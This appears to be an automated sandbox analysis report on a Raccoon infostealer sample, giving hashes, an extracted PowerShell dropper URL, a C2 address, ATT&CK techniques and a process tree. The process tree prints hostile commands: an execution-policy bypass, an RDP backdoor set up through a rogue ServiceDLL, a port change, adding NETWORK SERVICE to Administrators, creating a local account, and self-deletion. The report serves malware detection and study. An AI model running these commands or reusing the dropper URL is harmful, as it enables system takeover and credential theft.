raccoon | 4e0cca88ac33e671cd7cc9689605b8830d03ad80e39e716516381499be1c906a

Analysis

max time kernel
64s
max time network
112s
platform
windows10_x64
resource
win10v20210410
submitted
02-06-2021 17:28

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General

Target

16f8d65303b998ddec384ba2f9382ad8.exe
Size

569KB
MD5

16f8d65303b998ddec384ba2f9382ad8
SHA1

0670a1f15e93fb73c82776c048c8e3df941f57ad
SHA256

4e0cca88ac33e671cd7cc9689605b8830d03ad80e39e716516381499be1c906a
SHA512

6b3e40d86193bfa0222295d5731ce9ed69e785f431beb557463951490d1934045b9b43a6ac86a869536b5483303812da9ad78058609740c5090a4b50c271c2de

Score

10^/10

raccoon e46634757936706c1ff491585768dd6fe231db30 discovery persistence spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
29	748	powershell.exe
31	748	powershell.exe
32	748	powershell.exe
33	748	powershell.exe
35	748	powershell.exe
37	748	powershell.exe
39	748	powershell.exe
41	748	powershell.exe
43	748	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
428	i1JKbCUHDu.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000900000000068b-237.dat	upx
behavioral2/files/0x000600000001559d-238.dat	upx

Loads dropped DLL 8 IoCs

pid	Process
3424	16f8d65303b998ddec384ba2f9382ad8.exe
3424	16f8d65303b998ddec384ba2f9382ad8.exe
3424	16f8d65303b998ddec384ba2f9382ad8.exe
3424	16f8d65303b998ddec384ba2f9382ad8.exe
3424	16f8d65303b998ddec384ba2f9382ad8.exe
3424	16f8d65303b998ddec384ba2f9382ad8.exe
3668	Process not Found
3668	Process not Found

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_5tnh3mii.kyi.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI987D.tmp	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI988D.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI98CE.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI98FE.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_bktgd2k0.2oo.ps1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI989E.tmp	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2144	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 339704ea112ed701	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3876	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	32	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	33	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	35	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	31	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
3748	powershell.exe
3748	powershell.exe
3748	powershell.exe
1480	powershell.exe
1480	powershell.exe
1480	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
748	powershell.exe
748	powershell.exe
748	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
628	Process not Found
628	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	3748	powershell.exe
Token: SeIncreaseQuotaPrivilege	3748	powershell.exe
Token: SeSecurityPrivilege	3748	powershell.exe
Token: SeTakeOwnershipPrivilege	3748	powershell.exe
Token: SeLoadDriverPrivilege	3748	powershell.exe
Token: SeSystemProfilePrivilege	3748	powershell.exe
Token: SeSystemtimePrivilege	3748	powershell.exe
Token: SeProfSingleProcessPrivilege	3748	powershell.exe
Token: SeIncBasePriorityPrivilege	3748	powershell.exe
Token: SeCreatePagefilePrivilege	3748	powershell.exe
Token: SeBackupPrivilege	3748	powershell.exe
Token: SeRestorePrivilege	3748	powershell.exe
Token: SeShutdownPrivilege	3748	powershell.exe
Token: SeDebugPrivilege	3748	powershell.exe
Token: SeSystemEnvironmentPrivilege	3748	powershell.exe
Token: SeRemoteShutdownPrivilege	3748	powershell.exe
Token: SeUndockPrivilege	3748	powershell.exe
Token: SeManageVolumePrivilege	3748	powershell.exe
Token: 33	3748	powershell.exe
Token: 34	3748	powershell.exe
Token: 35	3748	powershell.exe
Token: 36	3748	powershell.exe
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeIncreaseQuotaPrivilege	1480	powershell.exe
Token: SeSecurityPrivilege	1480	powershell.exe
Token: SeTakeOwnershipPrivilege	1480	powershell.exe
Token: SeLoadDriverPrivilege	1480	powershell.exe
Token: SeSystemProfilePrivilege	1480	powershell.exe
Token: SeSystemtimePrivilege	1480	powershell.exe
Token: SeProfSingleProcessPrivilege	1480	powershell.exe
Token: SeIncBasePriorityPrivilege	1480	powershell.exe
Token: SeCreatePagefilePrivilege	1480	powershell.exe
Token: SeBackupPrivilege	1480	powershell.exe
Token: SeRestorePrivilege	1480	powershell.exe
Token: SeShutdownPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeSystemEnvironmentPrivilege	1480	powershell.exe
Token: SeRemoteShutdownPrivilege	1480	powershell.exe
Token: SeUndockPrivilege	1480	powershell.exe
Token: SeManageVolumePrivilege	1480	powershell.exe
Token: 33	1480	powershell.exe
Token: 34	1480	powershell.exe
Token: 35	1480	powershell.exe
Token: 36	1480	powershell.exe
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeIncreaseQuotaPrivilege	3720	powershell.exe
Token: SeSecurityPrivilege	3720	powershell.exe
Token: SeTakeOwnershipPrivilege	3720	powershell.exe
Token: SeLoadDriverPrivilege	3720	powershell.exe
Token: SeSystemProfilePrivilege	3720	powershell.exe
Token: SeSystemtimePrivilege	3720	powershell.exe
Token: SeProfSingleProcessPrivilege	3720	powershell.exe
Token: SeIncBasePriorityPrivilege	3720	powershell.exe
Token: SeCreatePagefilePrivilege	3720	powershell.exe
Token: SeBackupPrivilege	3720	powershell.exe
Token: SeRestorePrivilege	3720	powershell.exe
Token: SeShutdownPrivilege	3720	powershell.exe
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeSystemEnvironmentPrivilege	3720	powershell.exe
Token: SeRemoteShutdownPrivilege	3720	powershell.exe
Token: SeUndockPrivilege	3720	powershell.exe
Token: SeManageVolumePrivilege	3720	powershell.exe
Token: 33	3720	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3424 wrote to memory of 428	3424	16f8d65303b998ddec384ba2f9382ad8.exe	79
PID 3424 wrote to memory of 428	3424	16f8d65303b998ddec384ba2f9382ad8.exe	79
PID 3424 wrote to memory of 2976	3424	16f8d65303b998ddec384ba2f9382ad8.exe	80
PID 3424 wrote to memory of 2976	3424	16f8d65303b998ddec384ba2f9382ad8.exe	80
PID 3424 wrote to memory of 2976	3424	16f8d65303b998ddec384ba2f9382ad8.exe	80
PID 2976 wrote to memory of 2144	2976	cmd.exe	82
PID 2976 wrote to memory of 2144	2976	cmd.exe	82
PID 2976 wrote to memory of 2144	2976	cmd.exe	82
PID 428 wrote to memory of 2676	428	i1JKbCUHDu.exe	83
PID 428 wrote to memory of 2676	428	i1JKbCUHDu.exe	83
PID 2676 wrote to memory of 1928	2676	powershell.exe	85
PID 2676 wrote to memory of 1928	2676	powershell.exe	85
PID 1928 wrote to memory of 4064	1928	csc.exe	86
PID 1928 wrote to memory of 4064	1928	csc.exe	86
PID 2676 wrote to memory of 3748	2676	powershell.exe	87
PID 2676 wrote to memory of 3748	2676	powershell.exe	87
PID 2676 wrote to memory of 1480	2676	powershell.exe	90
PID 2676 wrote to memory of 1480	2676	powershell.exe	90
PID 2676 wrote to memory of 3720	2676	powershell.exe	92
PID 2676 wrote to memory of 3720	2676	powershell.exe	92
PID 2676 wrote to memory of 3940	2676	powershell.exe	94
PID 2676 wrote to memory of 3940	2676	powershell.exe	94
PID 2676 wrote to memory of 3876	2676	powershell.exe	95
PID 2676 wrote to memory of 3876	2676	powershell.exe	95
PID 2676 wrote to memory of 1840	2676	powershell.exe	96
PID 2676 wrote to memory of 1840	2676	powershell.exe	96
PID 2676 wrote to memory of 208	2676	powershell.exe	97
PID 2676 wrote to memory of 208	2676	powershell.exe	97
PID 208 wrote to memory of 1752	208	net.exe	98
PID 208 wrote to memory of 1752	208	net.exe	98
PID 2676 wrote to memory of 3864	2676	powershell.exe	99
PID 2676 wrote to memory of 3864	2676	powershell.exe	99
PID 3864 wrote to memory of 684	3864	cmd.exe	100
PID 3864 wrote to memory of 684	3864	cmd.exe	100
PID 684 wrote to memory of 1464	684	cmd.exe	101
PID 684 wrote to memory of 1464	684	cmd.exe	101
PID 1464 wrote to memory of 2268	1464	net.exe	102
PID 1464 wrote to memory of 2268	1464	net.exe	102
PID 2676 wrote to memory of 3284	2676	powershell.exe	103
PID 2676 wrote to memory of 3284	2676	powershell.exe	103
PID 3284 wrote to memory of 3264	3284	cmd.exe	104
PID 3284 wrote to memory of 3264	3284	cmd.exe	104
PID 3264 wrote to memory of 3736	3264	cmd.exe	105
PID 3264 wrote to memory of 3736	3264	cmd.exe	105
PID 3736 wrote to memory of 3136	3736	net.exe	106
PID 3736 wrote to memory of 3136	3736	net.exe	106
PID 1480 wrote to memory of 3904	1480	cmd.exe	110
PID 1480 wrote to memory of 3904	1480	cmd.exe	110
PID 3904 wrote to memory of 1556	3904	net.exe	111
PID 3904 wrote to memory of 1556	3904	net.exe	111
PID 3428 wrote to memory of 192	3428	cmd.exe	114
PID 3428 wrote to memory of 192	3428	cmd.exe	114
PID 192 wrote to memory of 3424	192	net.exe	115
PID 192 wrote to memory of 3424	192	net.exe	115
PID 4044 wrote to memory of 3864	4044	cmd.exe	118
PID 4044 wrote to memory of 3864	4044	cmd.exe	118
PID 3864 wrote to memory of 1752	3864	net.exe	119
PID 3864 wrote to memory of 1752	3864	net.exe	119
PID 3892 wrote to memory of 3900	3892	cmd.exe	122
PID 3892 wrote to memory of 3900	3892	cmd.exe	122
PID 3900 wrote to memory of 3980	3900	net.exe	123
PID 3900 wrote to memory of 3980	3900	net.exe	123
PID 956 wrote to memory of 2408	956	cmd.exe	126
PID 956 wrote to memory of 2408	956	cmd.exe	126

C:\Users\Admin\AppData\Local\Temp\16f8d65303b998ddec384ba2f9382ad8.exe
"C:\Users\Admin\AppData\Local\Temp\16f8d65303b998ddec384ba2f9382ad8.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3424
- C:\Users\Admin\AppData\Local\Temp\i1JKbCUHDu.exe
  "C:\Users\Admin\AppData\Local\Temp\i1JKbCUHDu.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oivafain\oivafain.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1928
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5DC5.tmp" "c:\Users\Admin\AppData\Local\Temp\oivafain\CSC44ECAA03BC464D8BBD8776C68DF7CA.TMP"
        5⤵
        
        PID:4064
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3720
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:3940
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:3876
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1840
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:208
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1752
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3864
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:684
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1464
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:2268
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3284
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3264
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3736
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:3136
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:3408
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:3568
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\16f8d65303b998ddec384ba2f9382ad8.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2976
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:2144

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1480
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3904
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1556

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 2iRY27Ot /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3428
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 2iRY27Ot /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:192
